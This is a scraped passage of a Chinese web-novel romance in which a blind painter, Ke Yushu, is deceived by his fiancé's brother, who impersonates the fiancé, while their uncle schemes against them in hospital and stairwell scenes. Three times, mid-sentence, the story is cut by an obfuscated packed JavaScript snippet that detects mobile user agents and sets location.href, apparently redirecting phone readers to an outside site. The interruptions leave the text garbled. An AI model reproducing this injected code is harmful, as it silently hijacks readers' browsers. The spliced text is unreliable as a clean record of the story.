保镖自动翻译成有关柯先生的细节,把自己知道的事一五一十说了。 “我们到的时候,您已经晕倒了,柯先生为您提前做了急救,还用姜茶吊住了您的命,才不至于让病情恶化。至于柯先生,他应该是跳进了冰湖救您,我们到的时候柯先生也晕了,除此之外没有其他信息了。” 察觉到Boss不善的眼神,保镖知道自己找错重点了,连忙补救:“但柯先生醒来的第一件事就是找您!您也一直抓着柯先生的手不放,怎么分都分不开,柯先生也很纵容您,一直陪在您身边,刚才才睡着!” 他全捡着少爷喜欢听的话说了。 程雀枝知道保镖在花言巧语,却依旧很受用,特别是在听到玉树对自己很纵容的时候,幸福得冒泡,血气上涌,眼前又是一阵发昏。 “程先生!”医生连忙把人扶住。 “知道,我知道。” 程雀枝摆手,终于返回了病房,却发现柯玉树已经坐了起来。 柯玉树听到开门的声音,缓缓转过头,微笑着说:“你回来了?” 程雀枝清了清嗓子,在医生诧异的目光下转换声线:“嗯,我回来了,玉树,你真没有哪里不舒服吗?” 柯玉树摇头,然后向程雀枝招了招手。 柯玉树招手的动作很奇异,程雀枝却完全没觉得不对,他摇动轮椅来到床边,上上下下打量柯玉树,头没问题,脚没问题,人脸色也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021134|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题,有劲儿! 保镖和医生十分有眼力见地先走了,关上病房门给两人留出二人世界。 “玉树,我在这儿。” 柯玉树伸出手,程雀枝把手放在他的手心,一只手温暖干燥,另一只手却冰凉非常。 柯玉树微微皱眉。 “怎么到处乱跑,你的病还没好呢。” 声音有些严厉,像是在轻声呵斥病还没好就到处乱跑的小孩子,程雀枝笑了笑,目光灼灼地看着柯玉树。 “只是出门办个事,玉树,我掉进洞里后,你为什么要跳下来救我?” 明明玉树眼睛看不见,跳下冰河后更是危险,就算是正常人都不一定会跟着跳下来救人,柯玉树却做了。 被玉树冒着生命危险给救了,他程雀枝是第一个吧? 程栖山做得到吗! 他只会用命去救玉树! “想做就做了,总之,你没事就好。”柯玉树淡淡地说。 他丝毫不提当时自己身处的危险,程雀枝急了:“可万一你和我都——” 柯玉树打断他:“没有万一。” 他捂着程雀枝的唇,十分认真地说:“当时的情况那样危急,救你是我下意识的反应,没有道理。未婚夫,你照顾了我那么久,我总是要还的……我不是没有心。” 柯玉树有心,程雀枝知道,程雀枝一直都知道,只是在此之前,程雀枝一直以为他的心只放在程栖山身上,但是听了玉树这一番话,程雀枝心底忽然生出了无限的奢望。 照顾? 是他一直在照顾玉树,玉树终于被他打动了吗? 程雀枝想到这里,顿时激动起来,气血翻涌又导致他两眼发黑,他却坚持撑着头向前,猛然扑进柯玉树的怀里。 “玉树~” 柯玉树把人抱在怀里撸毛。 “怎么还撒娇?” 盲眼美人的声音又轻又柔,怀里还温暖无比,那样令人心安的感觉,程雀枝从来都没有感受过,他的心像是填满了,就连声音都有些颤抖。 “这不是撒娇,我只是太开心了……玉树,玉树,我喜欢你!” 程家二少爷一遍又一遍诉说着自己的爱意,柯玉树只是垂下眼眸,任由他在怀里蹭来蹭去。 这几天医生检查过柯玉树的眼睛,已经不用滴药,也不用佩戴纱布了,他平时习惯性闭上眼睛,现在却睁开眼,缓缓下移,即便看不见,也知道程二少爷现在的模样。 泼皮无赖,少年模样。 程雀枝,雀枝,跟个小雀儿似的,真好逗。 “嗯,我也喜欢你,亲爱的。”柯玉树说。 小雀儿这么会撒娇,自己还是不要撕破他的幻想了。 程雀枝蹭了一会儿,就觉得有些不好意思,他从柯玉树怀里缓缓退出,盯着柯玉树紧闭的双眼。 柯玉树察觉到他的目光,问:“怎么了?” “没事,我只是想看看你。” 柯玉树又伸出手,做了个捧脸的动作,“那也让我看看你,好吗?” 意思是想要摸摸程雀枝的脸。 此刻,被喜悦冲昏头脑的程雀枝只感觉被泼了一盆冷水,从头到脚。 他没有程栖山的脸,一摸就露馅。 怎么办?拒绝吗? 他现在不可能拒绝柯玉树啊…… 现在去整个容怎么样? 37.挑拨 37 一时间,程雀枝脑海中闪过无数种念头。 他慌乱而无措,偏偏这时候柯玉树又说:“说起来,距离上次摸你的脸都有两个月了,都有些记不太清你的脸了。” 程雀枝的心忽然一跳,起了个邪念。 玉树说他记不清程栖山的脸了? 是了,时间都过去这么久了,玉树看不到,也摸不到,记忆自然会渐渐模糊,更何况他和程栖山是亲兄弟,脸虽然比不上程诲南,但也有五成像,说不定他能顶替程栖山? 试一试? “……好。” 程雀枝嘴唇微微颤抖,慢慢靠近柯玉树,那白玉般的手指近在眼前,像是审判官即将落下的锤子,程雀枝的心几乎已经要跳了出来,即便是家族夺权的那一夜,他也没有这么紧张。 柯玉树最先触碰到的是程雀枝的脸颊,他的指尖蜷缩了一下,然后缓缓展开,再然后是食指,最后手心也贴上了程雀枝的脸颊。 “亲爱的,你怎么在发抖?” 柯玉树捧着程雀枝的脸,声音很温柔。 程雀枝冷汗都要下来了,他摇摇头说:“没事,只是有些热。” 可程雀枝的手却是冰凉的。 柯玉树的手指继续向上,向程雀枝的眉眼处探去,程雀枝一时间心都要提到嗓子眼,他猛然闭上眼睛,静静聆听他这个罪犯最终的判决。 忽然,敲门声打断了这场无声的审判。 “扣扣扣。” 病房的门被人推开。 “看来我来得不是时候。” 两人同时转过头去。 是程诲南。 病房外,程雀枝的保镖正被按在墙上动弹不得,程雀枝的脸顿时黑了下去。 柯玉树将手收回,“这位先生的声音,我听着似乎有些耳熟?” 另外两人同时一愣。 “是我的小叔,玉树认识吗?”程雀枝问。 程诲南挥手让手下把保镖拖走,然后走进病房,轻笑着解释:“觉得耳熟就对了,我闲来无事喜欢接兼职,当滴滴司机,或者外卖员什么的,上次接到个订单,没想到收货人刚好是小柯。” 程雀枝狠狠瞪向程诲南,从牙缝里挤出两个字:“真巧。” 柯玉树也收敛了对未婚夫的温柔表情,神色冷淡,就连声音也像是结着万年的寒冰。 “似乎不是巧合吧,程先生,你接近我应该有其他目的。听栖山说,你们的关系似乎不太好?” 程雀枝曾在柯玉树面前说过程诲南的坏话,没想到玉树放到了心上,他们现在同仇敌忾,一致对外。 程雀枝洋洋得意道:“对啊,小叔,我们的关系似乎没有那么好?毕竟有一层亲缘关系在,你之前接近玉树的事,我可以不追究,现在最好不要做多余的事。” 他的声音隐含威胁,大不了他们两个鱼死网破,谁也捞不着好。 程诲南扫一眼便宜侄子,又看向柯玉树,语气哀伤:“真是绝情狠心啊,大侄子,我和你们两兄弟也算是相依为命了十几年,含辛茹苦,到头来居然与我为敌,事情怎么会发展成这样呢?” 程雀枝冷哼一声,评价:“装模作样。” 柯玉树别开脸去,他不怎么会骂人,此刻也暂时不想加入这对叔侄之间的战争,毕竟这些事与他无关,他也不感兴趣。 程诲南的声音又忽然带上笑意:“哦,你倒是提醒我了,我好歹会装模作样。” 他环视了一周,“你们住院的消息保镖都通知到位了,嗯……我那二侄子怎么没来,他大哥和大嫂都住院了,还不回国吗?真是没良心啊……” 真·二侄子·程雀枝:“……” 他一时竟找不到机会反驳,但又不能任由程诲南在玉树面前抹黑自己,咬牙解释说:“程雀枝在国外读大学,自然没空过来,是我让保镖不要打扰他——” 没想到程诲南又抢过他的话:“可你才刚清醒,怎么通知他?况且他那大学可读可不读,毕竟他的画,已经有了被抄袭的资本啊……” 程诲南的话意味深长,说完,他还装模作样地捂着嘴,在二侄子要杀人的目光下,十分无辜地补充:“我是不是又说错话了?唉,其实也算不上是被抄袭,他好像也不是原创了,说不定他才是抄袭的那个……” 程雀枝当场就想反驳,但却没有任何立场反驳。毕竟他现在是程栖山,对画画一窍不通,更别提据理力争了,只能任由程诲南继续说下去。 程诲南靠近两人,在病床之间站着,问柯玉树:“玉树,你应该认识画家Ye先生吧,我不太懂你们绘画界的门道,据我所知,二侄子从未见过Ye先生,只是看过他的画……啧,玉树,你说,Ye先生有授权给我二侄子吗?” 这根本就是在挑拨离间,程雀枝脸都快绿了,他又手握成拳,用力向程诲南挥过去,没想到程诲南轻而易举躲过去,他自己倒是差点摔了个倒栽葱,还好稳住了身体。 程雀枝被柯玉树拉回到床上。 “程先生说这些做什么?我未婚夫和小弟的关系很好,况且程雀枝似乎不像你说的那样,他的画技很好,不可能是抄袭者。”柯玉树冷声说。 他脸上冷冰冰的,甚至透露着几分厌恶。 “还有,程先生为什么会认为我认识Ye先生?” 程诲南:“……” 他刚刚说了那么多,感情都是无效攻击吗? 而程雀枝正洋洋自得,仿佛在说:你再怎么挑拨离间又怎么样,我早就给玉树上了眼药,攻击miss! 程栖山:“…………” “程栖山给你定制的画具经过我手,之前扫了一眼,似乎和Ye先生的画具也很相似。”程诲南说。 程诲南随便找了个借口,因为他的消息来源是安插在二侄子身边的眼线,前段时间,他得知二侄子一直在查柯玉树和Ye先生的关系,猜测两人肯定交情匪浅,可以拿来做文章。 果然有用。 程雀枝直接下了逐客令:“小叔这次过来,应该是来探病的吧?现在人看完了,我和玉树就不浪费小叔的时间了,毕竟集团还得靠你运作。” 真正的程栖山成了植物人,现在是他和程诲南两个人支撑集团,他这段时间一直和柯玉树双宿双飞,程诲南都快要忙死了。 程诲南:“……呵。” 程雀枝话说得着实有些不礼貌,没想到柯玉树也点头说:“嗯,我刚好有些困了,程栖山也需要休息,程先生,那就慢走不送?” 两人联合着赶自己走,程诲南就是脸皮再厚,这病房也待不下去了。 “行,我马上就走,看到你们没事我就放心了,你说你两个,这趟怎么走得这么远?要是没有手下人的求助,还不知道你们位置呢,出门在外要注意安全,特别要注意别被人骗了。” 程诲南说完转身就走,毫无留恋,程雀枝却皱眉深思。 他的位置已经暴露了,也再没机会和玉树远走高飞,因为有了这次的教训,程诲南绝对会更加警惕。 玉树会因此被勾走吗? 程雀枝转头看向柯玉树,刚刚鼓起的勇气现在尽数归零,只剩下恐惧。 像是察觉到程雀枝的目光,柯玉树伸出手,程雀枝连忙与他交握。 “刚刚不是还说热,现在手怎么这么凉,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027479|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心不下程先生?” 程雀枝被噎住,又不能把自己的顾虑说出口,只能摇头说:“没有,我是真有些困了,玉树,我们什么时候回家去?” 那个家是程雀枝给自己找的避风港,现在在医院里,他一点安全感都没有。 玉树应该一直待在家里,和他一起! 柯玉树却摇头说:“还得等一段时间呢,医生说你的肺炎还没有恢复好,要留院观察病情,至少得住半个月。亲爱的,为自己考虑一下,好吗?” “什么?半个月!不行,三天,要是病情没有恶化的话,我们就直接回家!”程雀枝说。 他完全没给商量的余地,柯玉树也没再勉强,声音依旧温柔:“行啊,都听你的。” 程雀枝凑近他,“玉树,你是不是生气了?” 柯玉树摇头。 程雀枝稍稍松了口气,然后站起来说:“那我先去做个全身检查——” 人站了起来,人倒了下去。 柯玉树早有准备,把程雀枝接住,低低地笑:“行啊,我扶你去检查?” 程雀枝:“……” 他忘了自己现在虚得不行,但一个盲人扶着一个病人在医院检查,似乎有些滑稽。 “别小瞧我,虽然我现在看不见,但我比你有经验,特别是在医院里。” 柯玉树敲敲程雀枝脑袋,调了下姿势,让他靠在自己的胸膛。 被玉树抱着,程雀枝再次感觉到安心,是过往二十余年很少有过的感觉。 这种强大温柔的守护,他只在瑞秋女士身上感受过,再就是柯玉树。他的玉树从来不是附庸,是保护者,即便眼盲也能淡然接受一切,照常生活,甚至义无反顾跳下冰河救人。 令人安心。 “好,玉树帮我。” 程雀枝握住玉树温暖的手,企图用不属于自己的温暖,填补内心的空白。 柯玉树任由他牵着,在医护人员的指引下找到了专属护士,给程雀枝做了个全套检查。 护士一开始并没有发现柯玉树看不见,直到柯玉树从护士手中接过报告,递给程雀枝,说:“念念?” 护士这才发现青年居然看不见,不免有些可惜,又感叹于青年身上那处变不惊的气质,让人自然忽略了他的瑕疵。 护士离开,程雀枝打开纸袋里的胸片、血常规报告和动脉血气分析报告,来来回回看了好几遍,所有结果都显示他刚刚度过危险期,还有潜在风险,根本不适合出院。 该怎么忽悠玉树呢? 程雀枝思来想去没个主意,主治医生也得了消息,正从走廊另一头跑来,程雀枝见状,连忙抓住柯玉树的手。 “玉树我有些累了,咱们回房间看?” 柯玉树点头,程雀枝连忙由他扶着回病房,关门,坦白:“玉树,报告上说的都不太准确,其实我很好,随时可以出——” “程先生你不能出院啊,至少得再住一周的院!” 医生直接推开了病房门,他不会放任病人用自己的生命开玩笑,更何况,哪有刚度过危险期就出院的? 今天程雀枝要是能出院,他这个医生不当也罢! 柯玉树闻言笑了一声,程雀枝顿时缩了缩脖子。 “玉树……” 柯玉树却不理他,温和地对医生说:“抱歉,医生,我家这位只是开个玩笑,现在绝对不可能出院,方便跟我讲讲他的病情吗?” 他说这话的时候像个温和的母亲,拦在孩子面前安抚暴怒的医生,并用三言两语化解了麻烦。 最后引经据典,让孩子通晓事理。 野孩子·程雀枝:“?” 38.知心 38 程雀枝一头雾水,不明白自己为什么会有这种感觉。 简直诡异,又很合理。 医生拿着报告絮叨:“程先生虽然已经脱离了危险期,但感染的组织还没有清理干净,受损组织也没有得到修复,要是突然出院,可能引发二次感染……” 柯玉树认真听着医生的絮絮叨叨。 程雀枝在旁边等着,居然没像从前那样觉得麻烦,或许是柯玉树聆听的表情太过温柔,他也不知不觉收敛了锋芒,向医生再三保证病情稳定三天后才出院。 “这还差不多嘛,病人就要遵医嘱。” 医生让护士给程雀枝换了吊瓶,就离开了病房。 柯玉树在程雀枝床边坐下,两人分着喝了热水,才说:“忙了这么久,你应该累了,睡吧。” 程雀枝扯了扯输液管,“我还输着液呢。” 手很凉。 柯玉树虽然看不见,耳朵却很灵敏,他略略抬头,说:“你放心睡吧,输液管停了我就帮你拔针。” 有点不合理,毕竟让盲人帮忙看吊瓶拔针有点太心大,但程雀枝相信他。更何况程雀枝现在确实是困了,望着那小小的滴壶,他半眯着眼睛说了句谢谢,就睡了过去,毫无防备。 柯玉树在他床边守了一会儿,然后戴上了耳机到厕所去,锁门,拨通了庭华的电话。 “他来得正好,小花,谢谢你的消息。” 柯玉树和程雀枝现在的生活太平静了,既然想追求刺激,那就贯彻到底,干脆让程诲南过来当这个助推器 就连保镖报信给程诲南,也在他的算计之中。 “不用谢,不过玉树,”庭华迟疑,“有件事你或许需要知道。” “什么事?” “你们出事前小叶就进了战区,现在已经失联两天了。”庭华说。 庭华犹豫了很久要不要告诉柯玉树这个消息,倘若柯月叶只是因为信号问题失联,玉树就会白白担心;但要是错过这条讯息,出了事,庭华根本不敢想象玉树会有多痛苦。 没想到柯玉树只是说:“嗯,我知道了,应该不是程家人做的,以程诲南的性格,不会再绑一次小叶,他知道会打草惊蛇。还有其他事吗?” 庭华:“有。” 柯玉树挑眉,还真有? “小叶派到你身边的人应该把所有的事情都报给她了,包括你失明和被这对叔侄骗得团团转的事。” 柯玉树:“……谢谢。” 他挂断电话,有些纠结。 柯玉树从一开始就不打算告诉柯月叶,自己身边发生的所有事情,但自从程雀枝带自己离开S市,小叶的人应该就已经跟上了,就程雀枝那张脸,根本瞒不住小叶。 现在小叶知道了一切,肯定特别生气。 更何况现在小叶失联,是不是也和自己的消息有关系?是否是自己的消息影响到了她,才间接导致她失联? 柯玉树的心有些乱。 理论上,他应该永远信任柯月叶,因为柯月叶曾经说过,要是遇上真危险的事会提前报备,但世事无常,总有意外。 他很担心。 忽然,手机又收到了一条短信,AI女神毫无感情地念:“小柯,听说你妹妹失踪了?真是遗憾啊,我侄子现在手上没有实权,你要是想,可以来找我寻求帮助。” 一听就是程诲南发来的,这老东西简直无孔不入,想到还在病房安睡的程雀枝,柯玉树顿时冷笑一声。 他最讨厌别人把小叶当做条件交换,上次是柯家父母,现在是这对叔侄。 程诲南,你也做好被报复的觉悟了吗? 柯玉树回复语音:“你要做什么?” 程诲南也回复道:“不做什么,小柯,只是缓和咱们的关系,我把他们俩兄弟带大不容易,要是现在把关系闹僵,老了就没人送终了。小柯,你知道的,我到了这个年纪,也老大不小了,总希望身边有个伴。” 程诲南今年三十一岁,柯玉树二十七岁。 柯玉树冷淡回道:“三年一代沟。小叔,我们不是同一年龄段的人。” 程诲南:“……” 他又被用年龄攻击了,一时间不知道该怎么回。 柯玉树不愧是柯玉树,对待除了程栖山以外的人,永远都是那么冷若冰霜。 程诲南斟酌着用词,却没想到柯玉树又发了一条语音过来:“如果你真想缓和跟栖山的关系,下一次直接面谈,这样才能表现你的诚意,毕竟我也不希望因为我的原因,让他和亲人断绝关系。” 玉树的声音似乎带着一些不耐烦,但程诲南知道,玉树咬钩了。 他又点了一遍玉树的语音条,冷冰冰的声音再次响起。 第二次播放结束,程诲南笑着叹了口气。 “你是真的不怕我。” 程诲南知道,程雀枝肯定一直在柯玉树面前抹黑自己,自己在玉树心里的形象已经成了彻头彻尾的恶人,玉树却愿意为了未婚夫,和自己面谈。 以身犯险。 程诲南指尖蜷缩,回复:“行,我找时间去找你,但咱们要偷偷的,不能让他发现。” 柯玉树:“……” 怎么跟偷情似的? 柯玉树把手机收回兜里,回到病房时程雀枝依旧在安睡,他走到病床边,摸了摸程雀枝的手,一片冰凉,没有一丝温度。 他伸手调节滴壶下面的滚轮,让输液的速度慢一点,然后轻轻握住程雀枝冰凉的手,程雀枝一直皱着的眉头这才缓缓舒展。 柯玉树握着程雀枝的手,在脑中回想起他在冰河上的模样,不知为何心中泛起了一点涟漪,却又很快归于平静。 他知道自己要做什么,这辈子最重要的两样东西,一是画画,一是柯月叶,暂时还塞不进其他什么。 但他未来是否会为谁破例呢? 柯玉树拭目以待。 程雀枝再次醒来时,神清气爽,自从到c市后,他已经很少睡得这么安稳了,毕竟是不熟悉的地方,他时时刻刻担忧柯玉树发现端倪,离他而去,就连睡觉都有些心惊胆战。 但是现在,他的心却安定不少,因为他觉得玉树对自己应该是有些喜欢的,不然不会跳下河救自己,不会对自己那么纵容。 肯定是这段时间的相处起了效果。 程雀枝身上盖着厚厚的毛毯,他坐起来环视一圈,看到旁边的架子上药水空了,自己手背上也贴了创可贴。 玉树在旁边。 一动,程雀枝发现了自己和玉树相握的手,原本应该因输液而冰凉的手十分温暖,玉树也因为他的举动,迷迷糊糊醒来。 “栖山,你醒了?还有没有哪里难受?” 柯玉树下意识伸出手。 程雀枝将头凑到他的掌心,“没有哪里难受,不发烧了吧?我身体很好的!” 语气很骄傲,像是个讨糖吃的孩子,柯玉树顺手勾了勾他的鼻尖,轻笑:“确实不烧了。饿了吗,想吃什么?” 程雀枝听柯玉树这么一说,才发现自己饿得不行。 “皮蛋瘦肉粥吧,你呢?” 程雀枝说完,掏出手机打算线上点餐,柯玉树却忽然转身,从旁边柜子上拿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032311|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大大的保温桶。 “一起吃。” 程雀枝一愣,保温桶打开热气腾腾,里面居然真的是皮蛋瘦肉粥。 “你怎么知道我想吃这个?” “我还不知道你吗?好歹和你住了这么久,”柯玉树笑着说,“这皮蛋瘦肉粥还烫着,我先盛出来吧。” 柯玉树又去消毒柜摸了两个瓷碗,程雀枝本想帮忙,却被他按在床上。 “病人就要有病人的自觉,你搭下小桌板。” 说是让程雀枝搭小桌板,实则私人医院的器械已经很便捷了,小桌板就在病床侧面,沿着螺丝转几下就能伸到床上,程雀枝甚至没用力气就搭好了,扣上卡槽,柯玉树再把两个已经消毒好了的碗放在上面。 “对半分吧,刚好你我都饿了。” 分皮蛋瘦肉粥自然是程雀枝的活,他几乎是一个指令,一个动作,全听柯玉树。 柯玉树拆开木勺递给他。 皮蛋瘦肉粥热气腾腾,柯玉树捧在手里,低头吃得很认真,只是没吃两口头发就散开了,他又放下木勺,从兜里摸了条发带,把头发扎起来。 程雀枝这才留意到柯玉树今天的穿着。 他穿了一件驼色的法兰绒大衣,米白色的羊绒围巾松松垮垮绕在脖子上,随着呼吸起伏,将他原本有些冷冽的面部线条软化,给程雀枝一种可依靠的温暖触觉联想。 或许是吃饭戴围巾太不方便,柯玉树又将围巾解了下来,放在床头,刚好擦过程雀枝的指尖。 程雀枝蜷缩了下手指,又伸手摸了摸,柔软的羊绒上似乎还残留着柯玉树的温度,他不自觉勾起唇角。 柯玉树把头发扎好后,又坐了回来,打算继续吃饭,程雀枝忽然说:“我在国外过得并不好,小时候只能住在阁楼上。国外的天气阴湿,特别是雪化的那段时间,阁楼会变得又冷又湿,寒气一直往身上钻。但楼下就是壁炉。” 柯玉树眼里一片茫然,表情却在心疼。 “那是瑞秋女士走的第四年,我对她的记忆只停留在壁炉前,她喜欢穿明黄色的蓬蓬裙子,我喜欢扑到裙子上玩,小叔就站在旁边为我们倒红茶。”程雀枝缓缓说,似乎陷入到了回忆之中。 他身体还有些虚弱,一下子说了这么大段话,甚至有些喘气。 柯玉树咽下口中的皮蛋瘦肉粥。 “亲爱的,你小时候一定是个活泼的孩子。” 程雀枝眼神也柔和了不少。 “其实我现在也不太记得清那种感觉了,那应该是种厚重、柔软而持久的温暖,所以才会让我记到现在。” 一只温暖的手盖住了程雀枝的手,柯玉树含笑说:“亲爱的,你再也不会回到之前的那种处境里,因为你现在已经长大,有能力保护自己。当然,之前咱们在冰河上发生的意外除外。” 程雀枝放下碗,回握住柯玉树的手,心被填满,软到一塌糊涂,他想将自己的真心完全剖开给柯玉树。 “玉树你知道吗?那种只存在在我记忆中的温暖,我刚刚又感觉到了。” 柯玉树任由他握着自己的手,微微歪头,“是吗?那真是我的荣幸。” 程雀枝这是把他当妈了。 程雀枝简直要被柯玉树的歪头可爱死了,他慌乱垂下眼眸,感觉心中最后一块空缺被柯玉树填补。 他完了。 耳边似乎响起谁的声音,那声音又轻又柔,带着高高在上、漫不经心的笑意,说着残忍的话语。 “程雀枝,你完了。” 是的,他完了。 他已经无可救药地爱上柯玉树了。 39.偷情上 39 “别发呆了,快吃,待会冷了。” 柯玉树拍拍程雀枝的手。 “好。” 程雀枝低下头吃粥,有些不敢看柯玉树了。 明明从前他都是光明正大看,现在却只能小心翼翼收敛自己的锋芒,在暗中窥伺,程雀枝微微皱眉,却对这样的变化甘之如饴,因为瑞秋女士曾经说过,只有足够喜欢,才会足够珍视。 他在珍视玉树。 皮蛋瘦肉粥吃完,柯玉树按铃让护工进来收碗筷,护工推开门就看到两人再次交握的手,顿时低眉顺眼,收碗筷时也没怎么发出声音。 随着护工进来的是助理,助理脸上有些忐忑,磨磨蹭蹭走到程雀枝床边,递给他一叠文件。 “少爷,这些文件是……” 程雀枝接过助理手上的文件。 那叠文件看着很厚,实则一点都不轻,程雀枝手上没力气,接过来后居然一下子全都砸到了胸口,砸得他猛咳一声,不可置信地说:“这他妈是什么?” 助理眼神躲闪:“是、是程先生送来的文件,他说程氏需要您,您在医院养伤回去了,可以工作来打发时间。” 是人吗? 程雀枝一口气没上来,差点又被气晕了过去,他把文件翻了个遍,发现全都是特别麻烦又吃力不讨好的工程,顿时咬牙切齿:“那他做什么?” “程先生说这些都是您该负的责任,大少爷,您离开程氏太久,他无法帮您把积压的工作做完。” 助理说这话时,恨不得现在就找个地洞把自己埋起来,程雀枝捏着文件忍了又忍,才没全撒出去。 一直没怎么开口的柯玉树突然提醒:“栖山,你手机响了。” 程雀枝手机一直开的震动,他捞过来一看,果然是程诲南打来的。 接通电话,程诲南毫不客气的声音传入病房:“大侄子,文件应该已经送到了吧?当初说好的,只是出去度个假,怎么去了这么久?我也不是想说你,只是程氏现在正是关键时期,况且你不是最喜欢工作了吗?Oh不,你现在最喜欢的是小柯。” 程诲南的话隐含威胁——程雀枝不处理这些工作,就会违背程栖山的人设,于是程雀枝忍着怒意,咬牙说:“知道了,小!叔!” 然后狠狠挂断了电话。 程雀枝坐在病床上喘了好几口气,胸口的憋闷还是无法缓和,柯玉树看不见,他在旁边坐着等了一会儿,只听到助理惊呼:“少爷!” 然后文件纷飞,洒满了病房的每一个角落。 程雀枝他……被气晕了。 …… 程雀枝住院的这三天,是他人生最鸡飞狗跳的七天,程诲南像是阴魂不散,每打一次电话,程雀枝就大叫一声扑到柯玉树怀中嘤嘤哭泣。 “一直在挑衅!” 柯玉树也掌握了熟练的顺毛技巧。 得了柯玉树的安抚,程雀枝老老实实回床上工作,一边工作一边骂老畜生。 程诲南也不像前两天那样故意找茬,特别是在得知二侄子被自己气晕后,语气温和了不少,工作却没少,所以程雀枝到了晚上就睡得不省人事。 走廊里,柯玉树微微皱眉。 程诲南靠着墙,手里衔着一支深蓝色的烟,烟没有点燃,但柯玉树靠近时就已经闻到烟味了。 柯玉树脸上没有什么表情,只是问:“在这里谈?” 忽然,程诲南握住柯玉树的手,烟被夹在两人的手心。 “小柯,咱们是偷情,可不能这么大胆,跟我来。” 他虽然牵着柯玉树,但速度却不快,因为柯玉树另外一只手握着盲杖,时不时轻轻敲击地面,并不信任他。 两人来到消防通道。 “小心。” 程诲南轻轻将柯玉树揽入怀中,旋转了半圈,才将门关上。 消防通道的大门一关,柯玉树狠狠推开面前的程诲南,声音依旧冷淡。 “程先生,请自重。” 既然到地方了,柯玉树也不必像刚才那样顺从。 程诲南被他推了个趔趄,后肩撞到墙上,他微微皱眉,眉头又很快舒展开来。 烟掉落在地,那一抹蓝色碌碌滚落楼梯。 “小柯真是无情啊……” 柯玉树冷着声音问:“小叶到底在哪?” 他声音冷得像是冬日的寒霜,好像眼前这个仅仅是个陌生人。 程诲南曾经领教过柯玉树的温柔,心理落差太大,他隔了好一会儿才无奈叹气。 “玉树的心也太狠了吧?要是真想知道你妹妹的消息,其实可以试着讨好我的。” 柯玉树听罢,转身就去摸门把,打算离开,程诲南早就料到他要走,一个侧身挡住门。 “别走啊。” 柯玉树伸出的手不小心触碰程诲南西服下的衬衫,他猛然收回手,眉头微微皱起。 “你到底要做什么?” 看来这次程诲南是完全不打算让他走了。 程诲南苦口婆心地说:“我真没打算做什么,只是不忍心看到你被骗,小柯,柯玉树,你相信我吗?” 柯玉树冷漠脸,甚至一个字都不回,可以说是完全不信任。 程诲南又叹:“你可别不相信我啊。放心,你妹妹失踪,是因为战区研究出了最新的信号屏蔽器,不过有瑟莲家族的人报告,谁出事她都不可能出事。” 柯玉树这才面色稍缓,公事公办地说:“很感谢你的消息,程先生,要是有什么我能帮得上的忙尽管来找我。” 柯玉树的意思是人情还完就和程诲南划清界限,程诲南哪能不明白,却依旧好脾气地说:“这些都是小事,算不上人情。” “那就欠着,我先走了。” 柯玉树说完又要走,程诲南自然又把他拦了下来,这下两人离得更近,淡淡的烟草味和雪松味混杂,柯玉树再次被程诲南的两只手臂圈在面前。 “别走,我这次过来找你,真的是想缓和我跟侄子的关系,能帮忙牵个线吗?嗯?我未来的侄媳妇。” 程诲南的声音很诚恳,低声诱哄着,柯玉树却依旧无动于衷。 “我未婚夫似乎并不想缓和跟你的关系。” 柯玉树话说得毫不留情,程诲南声音却依旧带着笑意:“但你今天还是跟我出来了,不是吗,玉树?” 柯玉树不答,他跟着程诲南出来自然是有其它目的,既然程诲南这么想,就让他想吧。 “你希望我们之间的矛盾能够缓解,我也不会让你为难,咱们继续保持联系吧,以后也好有个照应,等我想到办法就会联系你。” 程诲南放下手,不再阻拦柯玉树,软硬兼施。 柯玉树却侧头问:“你还有什么要说的?” 程诲南一愣,又轻笑一声,强调:“我之前说的话真是为你好,好好观察一下你的未婚夫吧,看看他到底是谁。” 程诲南轻巧地放了支蓝色香烟在柯玉树的大衣口袋,只是这一次柯玉树却没拒绝,任由他放进来,最后冷冷地问:“说完了吗?” “完了。” 程诲南让开。 柯玉树摸索着握住消防门把手,拉了一下,却没拉动,他又向下按着用力拉,门依旧纹丝不动。 柯玉树微微皱眉,转过头问程诲南:“你锁了门?” 他这一转身,程诲南看到了消防通道中间的玻璃,顿时一脸玩味,轻笑着说:“怎么可能?卡住了吧。” 此刻,玻璃外站着一个双眼发红、表情可怖的男人,那男人正死死盯着他们,特别是程诲南。 程诲南与之对视,玩味一笑。 “我跟你一起进来的,怎么可能锁门?让我看看。” 柯玉树让开,门外的男人快速后退,消失在了原地。 程诲南轻松拉开大门。 “你看,我就说是门坏了吧,不过我一来门就好了,连门都喜欢我,小柯,为什么你这么讨厌我呢?” 柯玉树与他擦身而过,沉默着进到走廊。 